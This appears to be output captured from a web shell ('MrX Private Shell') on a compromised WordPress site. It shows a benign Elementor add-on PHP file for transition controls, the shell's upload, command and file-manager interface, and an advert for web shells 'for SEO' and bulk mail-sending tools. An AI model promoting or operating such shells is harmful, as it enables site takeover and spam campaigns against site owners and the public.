__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace MasterAddons\Inc\Controls;

use Elementor\Group_Control_Base;
use Elementor\Controls_Manager;
use \Elementor\Core\Kits\Documents\Tabs\Global_Colors;

if (!defined('ABSPATH')) {
	exit; // Exit if accessed directly.
}

/**
 * Author Name: Liton Arefin
 * Author URL: https://jeweltheme.com
 * Custom transition group control
 * Date: 10/12/19
 */

class MA_Group_Control_Transition extends Group_Control_Base
{

	protected static $fields;
	private static $_instance = null;

	public static function instance()
	{
		if (is_null(self::$_instance)) {
			self::$_instance = new self();
		}
		return self::$_instance;
	}

	public function __construct()
	{
		add_action('elementor/init', [$this, 'init'], 0);
	}

	public function init()
	{
		add_action('elementor/controls/controls_registered', [$this, 'register_controls']);
	}

	public function register_controls()
	{
		// Register control
		\Elementor\Plugin::instance()->controls_manager->add_group_control('ma-el-transition', new self());
	}


	public static function get_type()
	{
		return 'jltma-transitions';
	}

	public static function get_easings()
	{
		return [
			'linear' 		=> esc_html__('Linear', 'master-addons' ),
			'ease-in' 		=> esc_html__('Ease In', 'master-addons' ),
			'ease-out' 		=> esc_html__('Ease Out', 'master-addons' ),
			'ease-in-out' 	=> esc_html__('Ease In Out', 'master-addons' )
		];
	}



	protected function init_fields()
	{
		$controls = [];

		$controls['property'] = [
			'label'			=> _x('Property', 'Transition Control', 'master-addons' ),
			'type' 			=> Controls_Manager::SELECT,
			'default' 		=> 'all',
			'options'		=> [
				'all'		=> esc_html__('All', 'master-addons' ),
			],
			'selectors' => [
				'{{SELECTOR}}' => 'transition-property: {{VALUE}}',
			],
		];

		$controls['easing'] = [
			'label'			=> _x('Easing', 'Transition Control', 'master-addons' ),
			'type' 			=> Controls_Manager::SELECT,
			'default' 		=> 'linear',
			'options'		=> self::get_easings(),
			'selectors' => [
				'{{SELECTOR}}' => 'transition-timing-function: {{VALUE}}'
			],
		];

		$controls['duration'] = [
			'label'			=> _x('Duration', 'Transition Control', 'master-addons' ),
			'type' 			=> Controls_Manager::NUMBER,
			'default' 		=> 0.3,
			'min' 			=> 0.05,
			'max' 			=> 2,
			'step' 			=> 0.05,
			'selectors' 	=> [
				'{{SELECTOR}}' => 'transition-duration: {{VALUE}}s;',
			],
			'separator' 	=> 'after',
		];

		return $controls;
	}


	protected function prepare_fields($fields)
	{

		array_walk(
			$fields,
			function (&$field, $field_name) {

				if (in_array($field_name, ['transition', 'popover_toggle'])) {
					return;
				}

				$field['condition']['transition'] = 'custom';
			}
		);

		return parent::prepare_fields($fields);
	}


	protected function get_default_options()
	{
		return [
			'popover' => [
				'starter_name' 	=> 'transition',
				'starter_title' => _x('Transition', 'Transition Control', 'master-addons' ),
			],
		];
	}
}

Filemanager

Name Type Size Permission Actions
animation.php File 10.82 KB 0775
button-background.php File 9.88 KB 0775
filters-hsb.php File 3.52 KB 0775
format-date-time.php File 4.64 KB 0775
outline.php File 2.99 KB 0775
transitions.php File 2.89 KB 0775
Filemanager